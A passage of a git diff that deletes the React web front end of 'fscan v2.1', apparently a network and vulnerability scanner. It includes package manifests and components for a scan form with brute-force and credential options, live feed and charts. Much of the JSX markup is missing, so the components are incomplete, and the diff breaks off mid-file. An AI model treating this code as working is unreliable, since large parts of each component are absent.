"sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/typescript": { - "version": "5.9.3", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", - "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/typescript-eslint": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.50.0.tgz", - "integrity": "sha512-Q1/6yNUmCpH94fbgMUMg2/BSAr/6U7GBk61kZTv1/asghQOWOjTlp9K8mixS5NcJmm2creY+UFfGeW/+OcA64A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/eslint-plugin": "8.50.0", - "@typescript-eslint/parser": "8.50.0", - "@typescript-eslint/typescript-estree": "8.50.0", - "@typescript-eslint/utils": "8.50.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/undici-types": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", - "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", - "dev": true, - "license": "MIT" - }, - "node_modules/update-browserslist-db": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "escalade": "^3.2.0", - "picocolors": "^1.1.1" - }, - "bin": { - "update-browserslist-db": "cli.js" - }, - "peerDependencies": { - "browserslist": ">= 4.21.0" - } - }, - "node_modules/uri-js": { - "version": "4.4.1", - "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", - "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "punycode": "^2.1.0" - } - }, - "node_modules/use-callback-ref": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.3.tgz", - "integrity": "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==", - "license": "MIT", - "dependencies": { - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/use-sidecar": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.3.tgz", - "integrity": "sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==", - "license": "MIT", - "dependencies": { - "detect-node-es": "^1.1.0", - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/use-sync-external-store": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", - "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", - "license": "MIT", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "license": "MIT" - }, - "node_modules/victory-vendor": { - "version": "37.3.6", - "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz", - "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==", - "license": "MIT AND ISC", - "dependencies": { - "@types/d3-array": "^3.0.3", - "@types/d3-ease": "^3.0.0", - "@types/d3-interpolate": "^3.0.1", - "@types/d3-scale": "^4.0.2", - "@types/d3-shape": "^3.1.0", - "@types/d3-time": "^3.0.0", - "@types/d3-timer": "^3.0.0", - "d3-array": "^3.1.6", - "d3-ease": "^3.0.1", - "d3-interpolate": "^3.0.1", - "d3-scale": "^4.0.2", - "d3-shape": "^3.1.0", - "d3-time": "^3.0.0", - "d3-timer": "^3.0.1" - } - }, - "node_modules/vite": { - "version": "7.3.0", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.0.tgz", - "integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.27.0", - "fdir": "^6.5.0", - "picomatch": "^4.0.3", - "postcss": "^8.5.6", - "rollup": "^4.43.0", - "tinyglobby": "^0.2.15" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "lightningcss": "^1.21.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/void-elements": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", - "integrity": "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/word-wrap": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", - "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - "dev": true, - "license": "ISC" - }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/zod": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.2.1.tgz", - "integrity": "sha512-0wZ1IRqGGhMP76gLqz8EyfBXKk0J2qo2+H3fi4mcUP/KtTocoX08nmIAHl1Z2kJIZbZee8KOpBCSNPRgauucjw==", - "dev": true, - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/colinhacks" - } - }, - "node_modules/zod-validation-error": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/zod-validation-error/-/zod-validation-error-4.0.2.tgz", - "integrity": "sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "zod": "^3.25.0 || ^4.0.0" - } - } - } -} diff --git a/web-ui/package.json b/web-ui/package.json deleted file mode 100644 index 5f2b96fe..00000000 --- a/web-ui/package.json +++ /dev/null @@ -1,56 +0,0 @@ -{ - "name": "web-ui", - "private": true, - "version": "0.0.0", - "type": "module", - "scripts": { - "dev": "vite", - "build": "tsc -b && vite build", - "lint": "eslint .", - "preview": "vite preview" - }, - "dependencies": { - "@radix-ui/react-alert-dialog": "^1.1.15", - "@radix-ui/react-collapsible": "^1.1.12", - "@radix-ui/react-dialog": "^1.1.15", - "@radix-ui/react-dropdown-menu": "^2.1.16", - "@radix-ui/react-label": "^2.1.8", - "@radix-ui/react-progress": "^1.1.8", - "@radix-ui/react-scroll-area": "^1.2.10", - "@radix-ui/react-select": "^2.2.6", - "@radix-ui/react-separator": "^1.1.8", - "@radix-ui/react-slot": "^1.2.4", - "@radix-ui/react-switch": "^1.2.6", - "@radix-ui/react-tabs": "^1.1.13", - "@radix-ui/react-tooltip": "^1.2.8", - "@rollup/rollup-linux-x64-gnu": "^4.61.1", - "class-variance-authority": "^0.7.1", - "clsx": "^2.1.1", - "i18next": "^25.7.3", - "lucide-react": "^0.562.0", - "react": "^19.2.0", - "react-dom": "^19.2.0", - "react-i18next": "^16.5.0", - "react-router-dom": "^7.11.0", - "recharts": "^3.6.0", - "tailwind-merge": "^3.4.0", - "tailwindcss-animate": "^1.0.7" - }, - "devDependencies": { - "@eslint/js": "^9.39.1", - "@types/node": "^24.10.4", - "@types/react": "^19.2.5", - "@types/react-dom": "^19.2.3", - "@vitejs/plugin-react": "^5.1.1", - "autoprefixer": "^10.4.23", - "eslint": "^9.39.1", - "eslint-plugin-react-hooks": "^7.0.1", - "eslint-plugin-react-refresh": "^0.4.24", - "globals": "^16.5.0", - "postcss": "^8.5.6", - "tailwindcss": "^3.4.19", - "typescript": "~5.9.3", - "typescript-eslint": "^8.46.4", - "vite": "^7.2.4" - } -} diff --git a/web-ui/postcss.config.js b/web-ui/postcss.config.js deleted file mode 100644 index 2e7af2b7..00000000 --- a/web-ui/postcss.config.js +++ /dev/null @@ -1,6 +0,0 @@ -export default { - plugins: { - tailwindcss: {}, - autoprefixer: {}, - }, -} diff --git a/web-ui/public/vite.svg b/web-ui/public/vite.svg deleted file mode 100644 index e7b8dfb1..00000000 --- a/web-ui/public/vite.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/web-ui/src/App.tsx b/web-ui/src/App.tsx deleted file mode 100644 index 18cb39cf..00000000 --- a/web-ui/src/App.tsx +++ /dev/null @@ -1,144 +0,0 @@ -import { useState, useEffect } from 'react'; -import { useTranslation } from 'react-i18next'; -import { Terminal, Languages, Moon, Sun, Radar, BarChart3, Github, ExternalLink } from 'lucide-react'; -import { ScanPage } from '@/pages/ScanPage'; -import { ResultsPage } from '@/pages/ResultsPage'; -import { LiveFeedProvider } from '@/contexts/LiveFeedContext'; -import { Button } from '@/components/ui/button'; -import './i18n'; - -type Page = 'scan' | 'results'; - -function App() { - const { t, i18n } = useTranslation(); - const [currentPage, setCurrentPage] = useState('scan'); - const [isDark, setIsDark] = useState(() => { - if (typeof window !== 'undefined') { - const stored = localStorage.getItem('theme'); - if (stored) return stored === 'dark'; - return window.matchMedia('(prefers-color-scheme: dark)').matches; - } - return false; - }); - - useEffect(() => { - document.documentElement.classList.toggle('dark', isDark); - localStorage.setItem('theme', isDark ? 'dark' : 'light'); - }, [isDark]); - - return ( - -
- {/* Header */} -
-
- {/* Left: Logo + Nav */} -
- {/* Brand */} - -
- -
- fscan - v2.1 -
- -
- - {/* Navigation */} - -
- - {/* Right: Actions */} -
- -
- - -
-
-
- - {/* Main */} -
- {currentPage === 'scan' ? : } -
- - {/* Footer */} - -
-
- ); -} - -export default App; diff --git a/web-ui/src/components/LiveFeed.tsx b/web-ui/src/components/LiveFeed.tsx deleted file mode 100644 index b826b343..00000000 --- a/web-ui/src/components/LiveFeed.tsx +++ /dev/null @@ -1,100 +0,0 @@ -import { useTranslation } from 'react-i18next'; -import { - Wifi, WifiOff, Server, Network, Shield, AlertTriangle, CircleDot, Inbox, Activity -} from 'lucide-react'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Badge } from '@/components/ui/badge'; -import { ScrollArea } from '@/components/ui/scroll-area'; -import { EmptyState } from '@/components/ui/empty-state'; -import { useLiveFeed } from '@/contexts/LiveFeedContext'; - -interface LiveFeedProps { - compact?: boolean; - showTypeLabel?: boolean; -} - -const TYPE_ICONS = { - host: Server, - port: Network, - service: Shield, - vuln: AlertTriangle, -} as const; - -export function LiveFeed({ compact = false, showTypeLabel = false }: LiveFeedProps) { - const { t } = useTranslation(); - const { isConnected, logs } = useLiveFeed(); - - const getTypeIcon = (type: string) => { - const key = type?.toLowerCase() as keyof typeof TYPE_ICONS; - return TYPE_ICONS[key] || CircleDot; - }; - - const getTypeLabel = (type: string) => { - switch (type?.toLowerCase()) { - case 'host': return t('typeHost'); - case 'port': return t('typePort'); - case 'service': return t('typeService'); - case 'vuln': return t('typeVuln'); - default: return type; - } - }; - - return ( - - - - - {t('liveFeed')} - -
- {isConnected ? ( - - - {t('liveFeedConnected')} - - ) : ( - - - {t('liveFeedDisconnected')} - - )} - {logs.length}/100 -
-
- - - {logs.length === 0 ? ( - - ) : ( -
- {logs.map((log) => { - const TypeIcon = getTypeIcon(log.type); - return ( -
- {log.time} - - - {showTypeLabel && getTypeLabel(log.type)} - - {log.target} - - {log.status} - -
- ); - })} -
- )} -
-
-
- ); -} diff --git a/web-ui/src/components/ResultsChart.tsx b/web-ui/src/components/ResultsChart.tsx deleted file mode 100644 index d5824bd8..00000000 --- a/web-ui/src/components/ResultsChart.tsx +++ /dev/null @@ -1,130 +0,0 @@ -import { useMemo } from 'react'; -import { useTranslation } from 'react-i18next'; -import { BarChart, Bar, XAxis, YAxis, PieChart, Pie, Cell } from 'recharts'; -import { BarChart3 } from 'lucide-react'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Badge } from '@/components/ui/badge'; -import { ChartContainer, ChartTooltip, ChartTooltipContent, type ChartConfig } from '@/components/ui/chart'; -import { EmptyState } from '@/components/ui/empty-state'; -import type { ResultItem } from '@/lib/api'; - -interface ResultsChartProps { - results: ResultItem[]; -} - -const CHART_COLORS = { - host: 'hsl(var(--chart-1))', - port: 'hsl(var(--chart-2))', - service: 'hsl(var(--chart-3))', - vuln: 'hsl(var(--chart-4))', -} as const; - -export function ResultsChart({ results }: ResultsChartProps) { - const { t } = useTranslation(); - - const chartData = useMemo(() => { - const counts = { host: 0, port: 0, service: 0, vuln: 0 }; - results.forEach(r => { - const type = r.type?.toLowerCase() as keyof typeof counts; - if (type in counts) counts[type]++; - }); - return [ - { name: t('typeHost'), value: counts.host, fill: CHART_COLORS.host }, - { name: t('typePort'), value: counts.port, fill: CHART_COLORS.port }, - { name: t('typeService'), value: counts.service, fill: CHART_COLORS.service }, - { name: t('typeVuln'), value: counts.vuln, fill: CHART_COLORS.vuln }, - ]; - }, [results, t]); - - const chartConfig: ChartConfig = { - host: { label: t('typeHost'), color: CHART_COLORS.host }, - port: { label: t('typePort'), color: CHART_COLORS.port }, - service: { label: t('typeService'), color: CHART_COLORS.service }, - vuln: { label: t('typeVuln'), color: CHART_COLORS.vuln }, - }; - - const hasResults = results.length > 0; - - return ( - - - - - {t('resultsDistribution')} - - {results.length} - - - {hasResults ? ( -
- {/* Pie Chart */} -
- - - d.value > 0)} - dataKey="value" - nameKey="name" - innerRadius={35} - outerRadius={60} - strokeWidth={2} - stroke="hsl(var(--background))" - > - {chartData.map((entry, index) => ( - - ))} - - } /> - - -
- - {/* Legend */} -
- {chartData.map((item, index) => ( -
-
-
- {item.name} -
- {item.value} -
- ))} -
- - {/* Bar Chart */} - - - - - } /> - - {chartData.map((entry, index) => ( - - ))} - - - -
- ) : ( - - )} - - - ); -} diff --git a/web-ui/src/components/ScanForm.tsx b/web-ui/src/components/ScanForm.tsx deleted file mode 100644 index 32c32c18..00000000 --- a/web-ui/src/components/ScanForm.tsx +++ /dev/null @@ -1,305 +0,0 @@ -import { useState } from 'react'; -import { useTranslation } from 'react-i18next'; -import { - Play, Square, ChevronDown, Loader2, Target, Hash, Clock, Zap, Settings2, - User, Lock, Globe2, Ban, Activity, Wifi, CheckCircle2, XCircle -} from 'lucide-react'; -import { Button } from '@/components/ui/button'; -import { Input } from '@/components/ui/input'; -import { Switch } from '@/components/ui/switch'; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'; -import { Collapsible, CollapsibleContent, CollapsibleTrigger } from '@/components/ui/collapsible'; -import { Label } from '@/components/ui/label'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Alert, AlertDescription } from '@/components/ui/alert'; -import type { ScanRequest, ScanPreset } from '@/lib/api'; - -interface ScanFormProps { - formData: ScanRequest; - onFormChange: (data: ScanRequest) => void; - presets: ScanPreset[]; - isRunning: boolean; - isStopping: boolean; - loading: boolean; - error: string | null; - onStart: () => void; - onStop: () => void; -} - -export function ScanForm({ - formData, - onFormChange, - presets, - isRunning, - isStopping, - loading, - error, - onStart, - onStop, -}: ScanFormProps) { - const { t, i18n } = useTranslation(); - const [showAdvanced, setShowAdvanced] = useState(false); - - const updateField = (key: K, value: ScanRequest[K]) => { - onFormChange({ ...formData, [key]: value }); - }; - - const applyPreset = (presetId: string) => { - const preset = presets.find(p => p.id === presetId); - if (preset) { - onFormChange({ - ...formData, - ports: preset.ports, - scan_mode: preset.scan_mode, - thread_num: preset.thread_num, - timeout: preset.timeout, - }); - } - }; - - const disabled = isRunning; - - return ( - - - - - {t('scanTitle')} - - {isRunning ? ( - - ) : ( - - )} - - - - {error && ( - - - {error} - - )} - - {/* Row 1: Target */} -
- - updateField('host', e.target.value)} - disabled={disabled} - className="field-input-mono" - /> -
- - {/* Row 2: Ports + Preset + Threads + Timeout */} -
-
- - updateField('ports', e.target.value)} - disabled={disabled} - className="field-input-mono" - /> -
-
- - -
-
- - updateField('thread_num', parseInt(e.target.value) || 600)} - disabled={disabled} - className="field-input-mono" - /> -
-
- - updateField('timeout', parseInt(e.target.value) || 3)} - disabled={disabled} - className="field-input-mono" - /> -
-
- - {/* Advanced Options */} - - - - - - -
- {/* Switches */} -
-
- - updateField('disable_ping', checked)} - disabled={disabled} - /> -
-
- - updateField('disable_brute', checked)} - disabled={disabled} - /> -
-
- - updateField('alive_only', checked)} - disabled={disabled} - /> -
-
- - {/* Credentials */} -
-
- - updateField('username', e.target.value)} - disabled={disabled} - className="field-input" - /> -
-
- - updateField('password', e.target.value)} - disabled={disabled} - className="field-input" - /> -
-
- - updateField('domain', e.target.value)} - disabled={disabled} - className="field-input" - /> -
-
- - {/* Exclusions */} -
-
- - updateField('exclude_hosts', e.target.value)} - disabled={disabled} - className="field-input-mono" - /> -
-
- - updateField('exclude_ports', e.target.value)} - disabled={disabled} - className="field-input-mono" - /> -
-
-
-
-
-
-
- ); -} diff --git a/web-ui/src/components/StatsPanel.tsx b/web-ui/src/components/StatsPanel.tsx deleted file mode 100644 index 35223e05..00000000 --- a/web-ui/src/components/StatsPanel.tsx +++ /dev/null @@ -1,144 +0,0 @@ -import { useMemo } from 'react'; -import { useTranslation } from 'react-i18next'; -import { PieChart, Pie, Cell } from 'recharts'; -import { Activity, CheckCircle2, XCircle, Loader2 } from 'lucide-react'; -import { Card, CardContent, CardHeader, CardTitle } from '@/components/ui/card'; -import { Badge } from '@/components/ui/badge'; -import { Progress } from '@/components/ui/progress'; -import { ChartContainer, ChartTooltip, ChartTooltipContent, type ChartConfig } from '@/components/ui/chart'; -import { EmptyState } from '@/components/ui/empty-state'; -import type { ScanStatus } from '@/lib/api'; - -interface StatsPanelProps { - status: ScanStatus | null; -} - -const CHART_COLORS = { - hosts: 'hsl(var(--chart-1))', - ports: 'hsl(var(--chart-2))', - services: 'hsl(var(--chart-3))', - vulns: 'hsl(var(--chart-4))', -} as const; - -export function StatsPanel({ status }: StatsPanelProps) { - const { t } = useTranslation(); - - const isRunning = status?.state === 'running'; - const isStopping = status?.state === 'stopping'; - - const statsChartData = useMemo(() => { - if (!status?.stats) return []; - return [ - { name: t('statsHosts'), value: status.stats.hosts_scanned || 0, fill: CHART_COLORS.hosts }, - { name: t('statsPorts'), value: status.stats.ports_scanned || 0, fill: CHART_COLORS.ports }, - { name: t('statsServices'), value: status.stats.services_found || 0, fill: CHART_COLORS.services }, - { name: t('statsVulns'), value: status.stats.vulns_found || 0, fill: CHART_COLORS.vulns }, - ].filter(d => d.value > 0); - }, [status?.stats, t]); - - const chartConfig: ChartConfig = { - hosts: { label: t('statsHosts'), color: CHART_COLORS.hosts }, - ports: { label: t('statsPorts'), color: CHART_COLORS.ports }, - services: { label: t('statsServices'), color: CHART_COLORS.services }, - vulns: { label: t('statsVulns'), color: CHART_COLORS.vulns }, - }; - - const totalStats = useMemo(() => { - if (!status?.stats) return 0; - return (status.stats.hosts_scanned || 0) + - (status.stats.ports_scanned || 0) + - (status.stats.services_found || 0) + - (status.stats.vulns_found || 0); - }, [status?.stats]); - - const statsItems = [ - { key: 'hosts', label: t('statsHosts'), value: status?.stats.hosts_scanned || 0, color: CHART_COLORS.hosts }, - { key: 'ports', label: t('statsPorts'), value: status?.stats.ports_scanned || 0, color: CHART_COLORS.ports }, - { key: 'services', label: t('statsServices'), value: status?.stats.services_found || 0, color: CHART_COLORS.services }, - { key: 'vulns', label: t('statsVulns'), value: status?.stats.vulns_found || 0, color: CHART_COLORS.vulns }, - ]; - - return ( - - - - - {t('resultsDistribution')} - - - {isRunning ? : - isStopping ? : - } - {isRunning ? t('scanRunning') : isStopping ? t('statusStopping') : t('statusIdle')} - - - - {/* Progress */} - {isRunning && ( -
-
- {t('loading')} - {status?.progress || 0}% -
- -
- )} - - {/* Pie Chart */} - {totalStats > 0 ? ( -
- - - - {statsChartData.map((entry, index) => ( - - ))} - - } /> - - -
- ) : ( - - )} - - {/* Stats List */} -
- {statsItems.map((item) => ( -
-
-
- {item.label} -
- {item.value} -
- ))} -
- - {/* Total */} -
-
- {t('items')} - {totalStats} -
-
- - - ); -} diff --git a/web-ui/src/components/ui/alert-dialog.tsx b/web-ui/src/components/ui/alert-dialog.tsx deleted file mode 100644 index 890a5a39..00000000 --- a/web-ui/src/components/ui/alert-dialog.tsx +++ /dev/null @@ -1,138 +0,0 @@ -import * as React from "react" -import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog" -import { cn } from "@/lib/utils" -import { buttonVariants } from "@/components/ui/button" - -const AlertDialog = AlertDialogPrimitive.Root - -const AlertDialogTrigger = AlertDialogPrimitive.Trigger - -const AlertDialogPortal = AlertDialogPrimitive.Portal - -const AlertDialogOverlay = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName - -const AlertDialogContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - - -)) -AlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName - -const AlertDialogHeader = ({ - className, - ...props -}: React.HTMLAttributes) => ( -
-) -AlertDialogHeader.displayName = "AlertDialogHeader" - -const AlertDialogFooter = ({ - className, - ...props -}: React.HTMLAttributes) => ( -
-) -AlertDialogFooter.displayName = "AlertDialogFooter" - -const AlertDialogTitle = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName - -const AlertDialogDescription = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogDescription.displayName = - AlertDialogPrimitive.Description.displayName - -const AlertDialogAction = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName - -const AlertDialogCancel = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -AlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName - -export { - AlertDialog, - AlertDialogPortal, - AlertDialogOverlay, - AlertDialogTrigger, - AlertDialogContent, - AlertDialogHeader, - AlertDialogFooter, - AlertDialogTitle, - AlertDialogDescription, - AlertDialogAction, - AlertDialogCancel, -} diff --git a/web-ui/src/components/ui/alert.tsx b/web-ui/src/components/ui/alert.tsx deleted file mode 100644 index 4618d71f..00000000 --- a/web-ui/src/components/ui/alert.tsx +++ /dev/null @@ -1,62 +0,0 @@ -import * as React from "react" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@/lib/utils" - -const alertVariants = cva( - "relative w-full rounded-lg border p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground", - { - variants: { - variant: { - default: "bg-background text-foreground", - destructive: - "border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive", - success: - "border-success/50 text-success dark:border-success [&>svg]:text-success", - warning: - "border-warning/50 text-warning dark:border-warning [&>svg]:text-warning", - }, - }, - defaultVariants: { - variant: "default", - }, - } -) - -const Alert = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes & VariantProps ->(({ className, variant, ...props }, ref) => ( -
-)) -Alert.displayName = "Alert" - -const AlertTitle = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -AlertTitle.displayName = "AlertTitle" - -const AlertDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
-)) -AlertDescription.displayName = "AlertDescription" - -export { Alert, AlertTitle, AlertDescription } diff --git a/web-ui/src/components/ui/badge.tsx b/web-ui/src/components/ui/badge.tsx deleted file mode 100644 index 57b6df3c..00000000 --- a/web-ui/src/components/ui/badge.tsx +++ /dev/null @@ -1,39 +0,0 @@ -import * as React from "react" -import { cva, type VariantProps } from "class-variance-authority" -import { cn } from "@/lib/utils" - -const badgeVariants = cva( - "inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2", - { - variants: { - variant: { - default: - "border-transparent bg-primary text-primary-foreground hover:bg-primary/80", - secondary: - "border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80", - destructive: - "border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80", - outline: "text-foreground", - host: "border-transparent bg-blue-500/10 text-blue-600 dark:text-blue-400", - port: "border-transparent bg-emerald-500/10 text-emerald-600 dark:text-emerald-400", - service: "border-transparent bg-amber-500/10 text-amber-600 dark:text-amber-400", - vuln: "border-transparent bg-destructive/10 text-destructive", - }, - }, - defaultVariants: { - variant: "default", - }, - } -) - -export interface BadgeProps - extends 